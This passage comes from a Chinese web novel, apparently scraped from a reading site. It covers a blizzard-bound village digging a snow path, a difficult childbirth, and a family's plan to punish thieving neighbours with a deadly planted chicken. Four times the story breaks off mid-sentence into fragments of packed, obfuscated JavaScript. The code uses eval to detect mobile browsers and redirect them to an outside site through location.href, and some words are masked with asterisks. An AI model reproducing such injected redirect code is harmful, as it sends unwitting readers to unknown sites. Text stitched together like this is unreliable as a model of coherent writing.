;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429215|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>大雪盘踞大地,即便是晚上,田地之间也透着白光,众人商议是一鼓作气挖到村尾,还是回家休息明早再来,毕竟入夜后气温比白日里冷得多。 少说零下二三十度。 冻病了得不偿失。 大福叔的大儿子搓着冻发麻的手道:“不差这一时半会儿,天太冷又有水汽,我外袄冻湿又结冰了,天不出太阳,袄子晒不干穿身上难受,我先回了。” 二儿子附和道:“我也回了,我打小身体不好,受不了冻。” 三儿子早不耐烦了:“你们谁爱干谁干。” 兄弟三个交换视线,直接扛着锄头往回走,如果此刻有人注意,便会发现三兄弟在还没到自家门口的位置拐道去了另一户人家。 正是何武一家的方向。 其他村民也是一样的想法,一晚上而已,小李媳妇哪会真这么巧,今晚就生。 就算真的今晚发动,哪个婆娘生孩子不得疼一晚,熬一熬吧。 最后只剩下程家,贵叔父子,还有村长儿子平安,加起来六个壮劳力。 贵婶一直担心着小李媳妇,冲大伙儿道,“挖吧,快到头了,万一绿草就是今晚生呢。” 程云手上有赵氏给他缝制的手套,还是感到很冷,身上的暖宝宝也没了温度,问:“爹,咱还挖吗?” 程大壮咬咬牙:“挖。” 时间拖得太久,对小李媳妇不好。 程诺也是一样的想法:“那咱们三家先回去吃晚饭,吃完就过来,轮着来,快的话两个时辰就能疏通。” 众人答应后,各自归家。 程家,赵氏今晚做的排骨炖豆角,豆芽烧牛肉,主食是大米饭。 男人们在外耗力气,回来不吃点东西熬不住,听说吃完饭还得再去挖雪,赵氏道:“行,我给你们准备宵夜。” 吃完饭,程诺喊来众人:“把身上的暖宝宝换了,我和嫂子在家准备热水,回来后每个人洗热水澡驱寒气。” 暴雪后,别说洗澡,就是热水擦身子都是奢侈。 十七觉得他这辈子没这么臭过,从前的规矩、习惯这段日子里磨得一干二净,现在晚上睡觉不闻着点味道,都睡不踏实。 听到可以洗澡,第一个举手:“我同意。” 第一百三十五章 绝望 程大壮倒不想洗澡,他更想睡觉,每天沾床就睡,累得不行,再看旁边站着的十七,明明他俩每天干的活儿差不多,为什么对方永远生龙活虎? 他两体格一对比,但凡长了眼睛的,谁也不会觉得瘦弱的十七力气更大吧。 程大壮百思不得其解,却不知,体格不是越壮越厉害,有时候技巧和适当的力量更重要。 任凭他想破脑袋,也猜不到面前站着的男人,是十三岁上战场,十五岁砍下敌方将军首级,二十岁获封督军指挥使,战无不胜攻无不克的青龙袁大将军。 被程家从鹿山救下那天,袁满被敌人伏击数日,箭雨如蝗,刀光似雪,他身受重伤,躲进鹿山,不知熬过多少天,腹中火烧般的饥饿感已经麻木,只剩下一种空洞的、钝刀刮骨般的疼,他最清楚饿死的人身前是什么感受。 在程家生活的这段日子,身体早养好了,常年在地里干农活,码头扛大包的程大壮自是比不过的。 吃完饭,程家人先出发,一盏茶后,换贵叔一家,然后再是平安,轮流着休息,不至于户外体温流失过快,造成失温休克。 夜晚不仅温度低,白日里没出现的风雪,此时也呼啸起来。 没多久最前头的程大壮和十七被风雪糊了满脸。 好在两旁比人高的雪墙起到抵挡作用,否则人在这种环境中,用不了片刻功夫就会被冻成冰块。 程家人顶着风雪,继续往前挖,空气中除了呼啸风声什么也听不见。 于此同时,大梨村村尾李家。 寒风卷着雪粒,拍打得茅屋簌簌作响。 桌上的油灯剩下最后一点火星,昏黄的光在土墙上摇晃,映出妇人隆起的小腹。 妇人仰卧在炕上,浑身因为疼痛湿透,像是刚从水里捞出来一样,她死死攥着身下的褥子,指节发白,喉咙里挤出的呻吟支离破碎。 “疼!” 她转头看向屋内,没有丈夫的身影。 “孩儿他爹……” 绿草气若游丝,双手捂在腹部,心底一片凄凉,她跟丈夫期待许久的孩子,难道就要死在今晚了吗? 门被打开,裹胁着吹进来大片风雪。 外头又下雪了…… 绿草绝望极了。 一个冻得分不清是人还是冰块的身影走进屋,正是迟迟不见的小李。 他步履蹒跚,一步步走向床边的妻子,又怕身上的寒气冻着她。 终于在距离床边一段距离停下,他想跪在地上,好好看一看媳妇,可他的腿冻僵了,弯不下来。 他想伸后摸一摸肚子里的孩子,可他的手跟铁锹粘在一起,手指僵硬,连伸展手掌对他来说都是奢望。 “绿草,你、你再熬一熬,快了,我快、快挖通了。” 他声音沙哑,喉管几乎发不出声音。 小李几日前挖雪道得了风寒,因为没得到及时治疗,嗓子哑了。 他痛恨地捶打脖颈,愧疚万分:“怪我,是我不中用。” 连喊人帮忙的能力都没有。 绿草眼泪倏然而下,小腹的胀痛在此刻比不上心底对丈夫的疼惜,她的丈夫已经没有了人样,脸颊皴红透着血丝,露在外头的手青红一片,浑身被暴雪包裹,俨然成了个雪人。 “不挖了,你、你陪陪我,陪陪咱们的孩子。” 她觉得自己快不行了,绿草从前有个堂姐,生孩子的时候羊水破了,孩子出不来,没半天,孩子捂死在肚子里,人也跟着没了。 从下午到现在,她羊水流失不止半天,或许孩子已经不在了。 “我可能也不行了……” 小李哭得不能自已,抽泣着不认命:“不会的,我去挖雪道,我去找贵婶,我去找四姐姐,她什么都会,她一定能帮我们的!” 他最后看了眼妻子,一狠心再次冲进雪中,如果媳妇孩子注定活不过今晚,他宁愿跟着冻死在这冰天雪地之中。 黄泉路上,一家三口有个伴,才不会孤独。 程大壮这边,轮岗一圈又到了他家。 挖雪道是个体力活,真不敢想象,要是一个人挖这五十米,得到猴年马月。 “还有多少啊?” 十七一直在估算距离:“大概还有一半。” 程大壮了然地点点头,再有一个时辰,收工! 心里有了盼头,手上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429216|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲儿也大了,一铁锹铲下去,突然堵住,像是碰到什么硬物。 一开始他以为自己感觉出错,想再抡一铲子,被身旁的十七拦住:“等一下,好像是个人!” 人? 冰天雪地怎么会有人? 待他仔细一看,真的是个人,准确说,是一个蜷缩成一团的雪人。 二人立马将两侧的积雪铲清,十七蹲下身查看“雪人”,只见他浑身冰凉,脸被冰雪遮掩,乍一看没认出是谁。 “小、小李?是小李!”程大壮嘴唇在打颤,“他……他**吗?” 十七伸头探了探小李的脖颈上的脉搏,松了口气:“还有呼吸。” 程家人磕磕绊绊的牙齿,终于平静下来,程父大喊:“快把人扛进屋!” 程大壮立马蹲下身,程父和程云协助,将丧失意志的男人扶到程大壮肩膀上,飞速往村尾方向去。 几人刚进小李家,看到的就是躺在炕上,下身漫出血迹的绿草,女子脸色苍白,跟**无异,不知是生是死。 除了被吓傻的程云,三个大男人齐齐转过身,还是十七第一个反应过来,拉着程大壮往外跑:“你去喊贵婶,告诉她小李媳妇要生了,我去找四娘。” 程大壮的脑子不知被风雪冻住,还是刚才的一幕太过震撼,**力拍打他后背,才醒过神。 “好好好,我这就去。” 贵婶家。 贵叔和富贵正用温水擦拭脸颊。 贵婶给丈夫儿子递去毛巾,儿媳孙氏在两人身后,替他们拍打身上的残雪,问:“轮到谁家了?” 贵叔呼出一口浊气:“程老弟家,他家动作最快,干的时间也最长,呵呵,我哥家也是四个壮劳力,速度还不如人家一半。” “那四个偷奸耍滑的懒汉,能跟程家几个壮年比?我都提你哥臊得慌!”贵婶将二人用完的水洒在门前积雪上,厚厚的雪快立马多了个坑。 “雪飘在脸上,跟刮刀子似的,真**冷。”贵婶抱怨完,准备关门睡觉,突然听见小院门被敲响,一开始以为听错了,直到风雪声中飘来程大壮的声音: “婶叔,出大事了!” 第一百三十六章 难产,留了好多血 贵叔先冲出去,打开门正是程大壮,问:“咋了?谁受伤了?” 还是谁家又**了。 程大壮喘着粗气,面前被呼出的白色烟雾笼罩到看不清贵叔的模样,他走进院子,直奔贵婶而来。 被拉着胳膊往外走的贵婶还没反应过来:“孩子,你带我去哪啊?” “小李媳妇要生了,情况不好,婶子快去救人!”程大壮说这话的时候,心脏狂跳不止。 话音刚落,贵婶脸色大变,随即冲在最前头,程大壮都不知道她跑起来动作能这么快。 程家,估算着时间的程诺和赵氏,已经将锅里的水烧热,等着男人们回来洗漱。 “我刚去看了,距离到小李家不远,应该是最后一趟。”赵氏又往灶膛里添了把柴。 程诺煮了一锅稠稠的疙瘩汤,没炒菜,又在灶里烤了四个红薯,男人们一人一个,配疙瘩汤吃,从喉咙暖到胃,才能睡个好觉。 她道:“我去把小云换下来,他还小正长身体,不能太劳累。” 赵氏想拦,人已经掀开帘子出去了,两个呼吸的功夫,突然帘子又被掀开,回来的除了怀里抱着铜锅的程诺,还有脸色严肃的十七。 “怎么了?”赵氏心头一跳,“你拿铜锅做什么?” 程诺掀开锅盖,往里头添水,用最简单的话解释:“小李媳妇要生了,难产,需要大量热水,我去送。” 难产两个字似一颗惊雷在赵氏头顶炸响。 赵氏震惊得嘴巴合不上,老天爷,还真是今晚生孩子,倘若今晚他们一家没有坚持挖雪道,明早大伙儿极有可能见到一尸两命。 她慌张地乱了手脚,“我我,我能干点啥。” 程诺稳定住赵氏情绪:“嫂子别慌,你现在立刻去找村里有接生经验的妇人,我怕贵婶一个人忙不过来。” “好好!”赵氏着急忙慌往外跑,鞋子掉了也顾不上。 铜锅有保温效果,十七和程诺合力搬上推车,准备离开时,程诺突然又跑回厨房。 再出来时,手里拿着两个瓦罐,一个里面装着疙瘩汤,一个里面是烤好的红薯。 “还是你想的周到。”十七望着她道。 “生孩子费力气,不吃点东西熬不住,走吧。” 另一边,李家。 贵婶掀开绿草下半身的被褥,见到的就是湿哒哒血水混合羊水的惨状,看得她心惊。 跟在身后的媳妇孙氏,吓得“啊”的一声尖叫起来。 “鬼叫什么!”贵婶稳定慌乱的心神,吩咐孙氏烧柴火。 炭盆里的火苗熄了有段时间了,必须先将屋里的温度提上来,产妇失血过多,身体都有些凉了,再不加温,药石无灵。 贵婶拍打着绿草的脸颊:“草、草、我是你贵婶,听得见我的声音吗?” 屋里温度升起,炕上的人微微转醒,看到眼前人,眼眶顿时湿了:“婶,我是不是不行了。” “胡说!”贵婶言辞厉呵,“我刚看了,孩子还活着,别放弃,你是他娘,你不能放弃他。” 听到孩子还活着,绿草死寂般灰沉的瞳孔迸发出亮光。 她的孩子,还活着。 像是为了印证贵婶话的真实性,绿草腹部滚动一下,接着身下又湿了。 孙氏害怕的手直抖:“娘,你看啊。” 绿草身下又有大片血流出,贵婶跑到隔壁屋,那里有等着随时待命的程家男人和他丈夫儿子。 “要热水,快去灶上准备热水,越多越好。” “还有干净的布条和剪刀,动作要快!” 程大壮那边很快找到一篮子准备好的布条,应该是小李和绿草提前预备好的。 程父贵叔跑到院里接雪,倒进锅里烧开,奈何天太冷,平时一盏茶功夫能烧好的热水,冬日里需得用上三倍时间不止。 绿草的情况哪里等得了。 风雪之中,忽地有风铃声响起,在寂静到只有呼啸声的四下,铃声嘹亮摄人心魄。 “热水来了!” 高昂的喊叫声,像是给大伙儿带来定心丸。 干净帕子丢在热水中,贵婶忙不迭给绿草擦拭身下,赵氏找来的两个有经验的村里妇人,也在这时候赶到。 一进屋便是扑面而来的血腥味,两人对视一眼,都在对方眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429217|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到担忧。 “用力啊!绿草,再用点力。” “看到孩子头了,草,你再坚持坚持。” 婶子们的声音此起彼伏,带动隔壁屋里众人的情绪。 程诺将带来的吃食拿进屋,坐在床头的婶子看见她来,主动让了个位置。 “绿草,我喂你吃点东西。” 听到程诺的声音,绿草被汗水和泪水蒙住的双眼有了一丝光亮,紧拽床褥的手缓缓抬起,在空中胡乱抓了两下,似是有话要说。 程诺握住她的手:“小李已经醒了,就在隔壁,只是冻着了腿还下不了床,你放心,三个婶子都是村里替产妇接生过的老人,有她们在你和孩子都会没事的。” 绿草忍着疼吃下半碗疙瘩汤,是有了些力气,但聊胜于无。 眼看着时间一点点流逝,众人内心越发荒凉。 除了贵婶在给绿草顺胎位,其他两个满头大汗的妇人,脸色并不好。 她们低声在程诺耳边道:“血流得太多了,怕是保不住。” “产妇使不出力气,我们吆喝得再厉害,没用啊!孩子长时间在母亲体内,对产妇伤害太大,要是强行将孩子拉出来,母体受损严重,四娘,你去问问小李,大人孩子保哪个?” 以小李的性子,不用问也知道,真到万不得已,他肯定是保大人的,但绿草未必乐意。 纠结来纠结去,浪费时间罢了。 “是不是有力气,绿草就能生?”她问。 两婶子心里没底,以前接生的都是顺产的小媳妇,绿草情况特殊,她们也不敢保证,万一……万一有个好歹,李家人会不会怪她们。 程诺看出两人的顾虑,赵氏找来的接生婶子,她有印象,家里条件不算好,粮食和炭火应该都不足。 她缓缓道:“婶子们尽力,小李叫我一声四姐姐,他媳妇就是我弟妹,只要今晚绿草和她肚子里的孩子顺利降生,我愿意分给你们每人二十斤米面,二十斤木炭。” “二、二十斤?是借的吗?”两婶子嘴巴张得能塞下拳头。 程诺眼神熠熠闪光:“不是借,是送,不用还。” 第一百三十七章 被偷家了 刚才还打退堂鼓的两个婶子,一听这话,立马重燃斗志,白送二十斤米面,二十斤木炭,家里人就能再熬上半个月。 稍胖些的婶子,满脸坚定:“你放心,我有在,今晚一定母子平安。” 瘦高些的婶子,打湿布条给绿草擦头上的汗:“孩子,你听婶子的,均匀呼吸,跟着我的节奏……” 绿草手紧紧抓住程诺的胳膊,她害怕。 就在刚刚,程诺从商城买了人参含片,此时正窝在掌心,趁着绿草张嘴功夫塞进她嘴里,低声叮嘱她含在嘴里,能救命。 绿草不知嘴里被塞了什么,但她相信程诺,千言万语汇集在心中,不知拿什么感谢四姐姐的帮助,感谢老天爷让丈夫结交了程家人,若能顺利度过今晚,让她有命活下来,她愿意给程四姐姐当牛做马,结草衔环以报大恩。 这一夜,大伙儿不知道是怎么熬过来的。 以至于多年后,回想起当晚,依旧一阵后怕。 终于,在屋外风雪停歇,地平线上第一缕阳光照耀在大地上时,一声不算嘹亮的婴儿啼哭声,在村尾上空响起。 “生了,生了,母子平安。” 程云的报喜声从村尾传到村头,连月来被暴雪困住的村民,终于听到一则好消息。 小李冻僵的双腿恢复,此刻抱着来之不易的儿子,哭得像是个孩子。 绿草累极,沉沉睡去,程诺和贵婶给她换了新的被褥,又给新出生的孩子擦拭完身上的血迹,浩浩荡荡一群人终于回了家。 一夜未睡,大伙儿心力交瘁,这一觉一直睡到黄昏时分。 程诺是被厨房飘来的糊味熏醒的,小盼儿坐在炕上跟新来的小姑娘扯头花,见到她醒了,跟只小狗似的扑进她怀里。 “阿娘,二哥说小李叔家生了个娃娃,阿娘带我去看看。” 程诺视线落在床尾瞪着大眼睛看她的阿宝,冲她招招手,小姑娘眨眨眼,四脚着地爬过来,乖巧得很。 “阿宝想去看看弟弟吗?” 小姑娘点点头,露出两颊的酒窝,十分可爱,开口道:“想。” 程诺摸摸她的脑袋:“那穿好衣服,吃完饭,我们去看娃娃。” 两小姑娘兴冲冲开始穿衣,小盼儿独立惯了,穿的又快又好,穿完还不忘帮阿宝整理衣服,俨然一副大姐姐的模样。 晚饭是程父和程大壮做的,他两见赵氏和程诺迟迟没醒,又不想打扰她们休息,干脆自己忙碌起来。 两个几乎没下过厨的男人,做出的饭味道可想而知。 十七皱着眉喝完散发糊味的薄粥,程云一脸嫌弃啃着比砖头还硌牙的烙饼。 程父和程大壮也是一吃一个不吱声。 “厨房里的活儿,还得是女人来。” 赵氏瞪了眼丈夫:“知道我们女人平时多不容易了吧,别一口一个‘做饭能有多难’、你行你上啊!” 程大壮讪笑,经过昨晚切身体会到女人的不易,心里暗自发誓以后要对媳妇更好。 出门看小李媳妇时,赵氏去地窖捡了七八个鸡蛋,程诺准备将家里藏在雪地里的鸡挖出一只,送给绿草补身体。 每个藏了口粮的地方,她都做了特殊标记,程诺挖开一块雪地,却发现藏在这儿的鸡不见了。 前天家里炖了鸡汤,她以为是赵氏挖了。 再挖第二个隐藏地方,还是空荡荡,什么都没有。 “嫂子。”程诺喊来赵氏,“上次得吃的鸡,你挖地哪里的?” 赵氏正用雪将鸡蛋上的鸡屎擦干净,闻言道:“我用的地窖里的,没动雪的,咋了,鸡没了?” 程诺面色一沉。 赵氏大惊:“真没了?” “家里进贼了。” 赵氏大骂:“好啊,咱家费劲巴拉组织村里人挖雪道,到头来把贼招进家门了,脏心烂肺,被我知道是谁,挠花她的脸!” 昨晚下了场雪,掩盖作案者的脚印,本该是世间最洁白的存在,此刻却成了偷盗者的帮凶。 赵氏叉腰就要到院门前骂人,被程诺拦下:“先清点下损失。” 二人将几处藏了肉的地点重新挖出来,丢了两只鸡,一块五六斤的猪肉,其他的都在原地,不知是小偷找不到隐藏地方,还是怕偷太多惹来怀疑。 这回损失不小,回屋告诉家里人进贼的消息。 程大壮第一时间跑进厨房,发现木炭也少了。 程父一脸愤恨:“灾年偷粮偷炭,放在从前是要被剁手的,四娘,知不知道是谁干的?” 昨晚家里人都在忙绿草生孩子的事,只留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429218|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下两个不晓事的女娃,能摸进他家,又能顺利找到藏在雪地里的粮食,必定对他家很了解。 最好是发现有人回来能立刻翻墙逃跑,不会打扰到邻居,还能隐藏身影。 程诺心中第一时间有了推断,目光幽幽望向不远处的屋舍,喊道:“我也不知道是谁干的,或许是山上野兽下来叼走的,别家怎么会知道咱家肉藏哪?” 此时,范家厨房。 刚扒完墙根的范木匠,欢欢喜喜走进屋,用手捏了鸡肉送进嘴里,白水煮的鸡肉没什么味道,对久不沾荤腥的范木匠来说比龙肉还美味。 “肉,石头要吃鸡肉。”石头在灶台前又蹦又跳,馋得留哈喇子,赵氏没办法,塞了一口进嘴里,“讨债鬼,吃不死你。” 说完,不忘提点儿子:“记住,外头要是有人问,千万别说家里吃过肉,不然,这会是你这辈子最后一顿肉。” 石头一听不能再吃肉,用力点点头,捂住嘴:“不说,石头谁也不说。” 一只鸡全部水煮,没敢用香油爆炒,怕味道吸引别家注意。 范家五口人,吃得大快朵颐,连骨头一起嚼碎咽进肚子里,汤也喝了个精光。 范母终于吃上一顿饱饭,打了个响亮的饱嗝:“一想到程家天天过这样的好日子,我恨不得把他们家肉全偷来。” 范父撸了撸下巴上的小胡子,叮嘱道:“小心点别被发现了,程家人不好糊弄。” 张氏满脸不在乎:“放心吧爹,程家人笨得很,以为是山上野兽偷的。” 范母一喜:“果真?” 范木匠斜靠在破被子上打盹,用小拇指剔着牙,笑道:“我亲耳听见程四娘说的。” 程家人想破脑袋也猜不到,自以为隐蔽的藏肉动作,早在他每日盯梢中,偷窥得一清二楚。 范母喜笑颜开:“好啊!等这趟的肉吃完,再去偷,最好全搬进咱家地窖里。” “好哎好哎。”石头高兴得手舞足蹈,“天天有肉吃,石头天天要吃肉。” 张氏却有些忧心:“下回未必容易,程家人怕山上下来野兽,肯定会换地方藏的,”胳膊戳了戳悠哉哼曲的丈夫,“你好好盯着她家,一旦发现肉藏哪了,找一个下雪的晚上,我们立马去挖出来。” 第一百三十八章 黄泉路上当饱死鬼 接下来几天,范木匠时刻盯着程家人的动静。 趴在墙头,用杉叔家作遮掩,确实很难被人发现。 但对战场上伏击设埋家常便饭的十七来说,他的躲藏跟小儿玩闹无异。 十七在院里洒扫积雪,余光瞥见不远处探头探脑的范木匠,低声冲一旁的程诺道:“范家又出来了。” 程诺身形未动,眼底闪过一丝冷光:“找死。” 十七第一次在她脸上看到肃杀的神情,他是久经沙场的人,程诺周遭的气压太熟悉,她口中的“死”,不是说说而已。 “你想怎么做?”男人扯出笑,仿佛二人要伏杀的对象,是猪是羊。 程诺:“他不是喜欢偷东西吗?贪狼叼羊骨,卡喉见阎罗。” 当晚,天空只剩下一点亮光,蹲守的脚麻的范木匠准备打退堂鼓,突然发现程家后院出现一抹偷偷摸摸的身影。 怀里不知抱着什么,正四下打量一脸防备,不是程四娘是谁。 她走到一隐蔽处,用铁铲挖了又挖,最后放进去一个包裹,重新将坑填上,临走前特地跺了两脚,踩平雪面,才放心离开。 这么警惕,包裹里一定是好东西。 范木匠从墙垣上翻身落地,吃了两天肉,动作轻盈不少,再养一养,就能跟暴雪前一样了。 张氏听说程家又藏肉,麻溜穿衣服下炕,等着入夜,天上飘起雪花,隐藏脚印再出门。 很快,风雪降临。 两道鬼祟的身影直奔白日程诺藏东西地方而来。 “是这儿吗?挖半天没有啊!”张氏冷得直打哆嗦,雪铲了快一个人的高度,肉在哪儿? 范木匠笃定道:“就在这儿,我两只眼睛看得真真的,藏得深,防着野兽呢!” 二人加快速度,终于在范木匠一铲子下去碰到个硬物,“有了!” 夫妻俩眼睛一亮,铁锹一丢,四只手疯狂扒拉起来。 那是一个不知什么颜色的包裹,里头鼓鼓囊囊,冻得很硬,有两三斤重。 “走!回家再看!”范木匠抱着包裹就走,不忘让张氏把坑填上。 范家。 范母见到儿子回来,忙点燃油灯,包裹一打开。 范木匠凑近一瞧:“是只鸡!” 范母摸着没什么肉的死鸡,有些失望:“又是鸡,咋没偷点猪肉。” “有鸡吃不错了。”范木匠猜想程家肉也不多了,不然一只鸡至于趁夜深人静偷摸着藏吗? 张氏爱吃鸡胜过吃猪肉,道:“鸡汤有营养,明天烧水剃**,直接煮了。” 范母想留着当屯粮,这两天顿顿有肉,她嘴里没那么搀。 范木匠拒绝:“不行,昨儿个何家被偷了,听说鸡鸭丢了好几只,这鸡藏在家里不安全,不如送进肚子里一了百了。” 偷来的东西,赶紧销赃得好,万一被人发现就糟了。 范母没办法只能同意:“那好吧,还跟之前一样,早上天不亮的时候煮,那时候没几户人家醒,发现不了。” 带着明天又能喝鸡汤的喜悦,范家人美美睡了个好觉。 第二天,八百年不下厨房的范母起了个大早。 与此同时,站在院后的程诺,望着飘炊烟的范家,幽幽道:“我还是太好心了,让你们黄泉路上当饱死鬼。” “我以为你会放那家小孩一命。”十七的声音从身后传来。 程诺没回头:“那就要看范家人怎么做了,老鼠偷盐——齁死不算冤,贪嘴的代价是自取灭亡。” 当天下午,程诺提议全家人一起去小李家热闹热闹。 绿草还不能下床,精神却好了很多,她这回生产伤了根本,她自己也知道,日后想再要孩子怕是难了,因此对儿子看得很紧。 可惜过去三天,半点奶没有,孩子只能喝米汤,嗷嗷哭得厉害。 程诺送来的鸡,小李炖了,绿草喝下效果不明显,俨然是之前暴雪缺衣少食营养不良,现在想补救没法一蹴而就。 襁褓里的婴儿本就比一般出生的孩子瘦弱,现在又没有奶水供给营养,蔫吧得跟小猫似的,一副养不大的样子。 绿草看在眼里急在心里,“四姐姐,我怕养不活他。” 程诺逗弄着怀里软软的小身子,小孩刚睁眼,还不能分辨方向,捕捉动作的速度有些迟钝,不知道是不是在母体中闷太久的原因。 她道:“我听说羊奶可以代替母乳,村里有养羊的人家吗?” 绿草怀孕后很少外出,她不清楚,小李递过来一碗红糖水,听到两人对话,道:“咱们村没有养羊的,我老家有。” 小李的老家,就是程母几人所在的云溪村。 绿草眼神灰暗下来,云溪村太远了。 程诺不免想到娘和二哥三哥,不知他们现在情况如何。 几人正说着话,听到外间传来村长老夫妻的声音。 村长见到程家人,笑道:“刚路过你们家,想进去说说话,见门锁着,就知道你们一定也来这儿了。” 程父:“在家待着无趣,不如出来逛逛,大伙儿一起待着,日子不算太难熬。” 男人们在外间,村长婶掀帘子进了里屋,她给绿草带了些姜,姜茶性温,有利于刚生产的妇人排恶露。 小李将位置让出来,给几个妇人说话,他出去招呼男人们。 村长婶给绿草掖了掖被角,见她气色比前两日好得多,脸上露出欣慰的笑:“生孩子遭大罪了,这几日也别总在床上躺,下地多走走,体内污秽排干净,以后身子才能好。” 绿草点头:“我晓得了,婶子。” 村长婶上了年纪,对小辈不禁叮嘱的多了些,絮絮叨叨说了好些,绿草一一答应。 “还有件重要的事,千万不能忘了,”她说着,视线落在床尾玩闹的两个小丫头身上,很快移开视线,压低声音道,“月子里,不能让男人近身,你的情况还要更注意,至少三个月……” 绿草脸蹭一下红了,更刚从锅里捞出来的龙虾一样,嗔怒道:“婶子,还有人呢……” 村长婶扫了眼,屋里还有程诺和赵氏。 程诺恍若没听见,赵氏手忙脚乱不知该不该装没听见。 “怕啥,大家都是女人,谁没生过孩子,”村长婶拉着程诺胳膊问,“四娘,婶婆说的有没有道理?” 看似结婚离婚还孕育一个女儿,实则是个母单的程诺脸上出现一丝裂痕,“呃”了半晌,挤出一句:“您说得对。” “男人贱皮子,他要是凑上来要办事,你一定要严词拒绝,切记不能欲拒还迎,更不能半推半就让他得逞,他们是痛快了,最后受伤的都是我们女人,要是不小心再揣一个,哦呦,你的身体怎么吃得消哦!” 村长婶远嫁的女儿,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429219|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在月子里又怀上了,整个孕期受了大罪,人像是被吸干一样,现在见到生孩子的小媳妇,总会忍不住叮嘱两句。 绿草知道她是为自己好,红着脸一一应下。 村长婶心满意足将话题换到婴儿身上,不禁又为小猫儿似的幼崽焦心不已。 女人们在里屋聊着,男人们在外头也没闲下来,又来了几户串门的邻居。 男人们的话题主要围绕前两天村里发生的偷盗案件。 不是程家屯粮被偷一事,而是被冻死的何家地窖里的存粮被偷了,包括几只鸡鸭,几乎一夜之间不翼而飞。 “死掉的鸡鸭还能自己飞走吗?肯定是村里哪家不要脸的偷走了!”村长吧嗒着烟袋锅,一脸恨铁不成钢。 平时看不出人品,一到关键时候,丑陋的人性暴露无遗。 程大壮想说自家肉也被偷了,被一旁的程父拦住。 他家树大招风,被偷了肉非但不会引来村里人同情,没准被有心人知道,还会受到奚落,更有甚者效仿小偷,也来踩点偷盗。 **留下的东西他们尚且不怕忌讳,更何况他们一家。 果然,村长话音刚落,众人脸色微变,又愤怒的,又懊悔的,还有跃跃欲试的…… 也有个别村民尚留一份理智正义,道:“村长,你得赶紧拿个法子,何家没人,粮食放在那儿,就跟露天掉金子一样,谁都想,谁都能摸上一把。” “是啊,要不把粮食给大伙儿分了,我们就当借的,来年还上,放在哪儿也是浪费。” 粮食被偷一事,让村长觉得痛心,他低估了人性的恶劣,当场决定将粮食留下一部分给活着的何家孙女,剩下的优先分给村里的孤儿寡母。 并定下规矩,日后再有类似情况发生,死者存粮存炭分一半给三代内的族亲,剩下的一半借给村里孤寡。 这也是为了防止兄弟阋墙,他不敢拿人性做赌,万一有人起了为粮食**的心思,也会因为舍不得另一半的粮食打消作案。 大伙儿对村长的决定没有异议,这或许是当下最好的方法,村里的孤寡有了救济粮,也能在大雪天多熬一段日子。 可终究治标不治本,还得从源头解决粮食和柴火的问题。 粮食还行,三分饱五分饱,总还能挨一挨,可没柴火才是真的要命。 有人提出建议:“要不我们再挖一条道去鹿山吧,只要上了山,就有柴火了。” 很快被人否定:“从咱们村到鹿山有五里路,村头到村尾两里挖了十来天,真要挖一条道过去,人早死透了。” 程大壮也道:“说得不错,不仅工程量大,山下积雪容易坍塌,一不小心人会埋在里头。” 他还记得上次吼叫声引来雪崩的事,惊险万分,对此格外注意。 程父和村长双双点头:“再想想别的办法,天无绝人之路。” “不好了!不好了!” 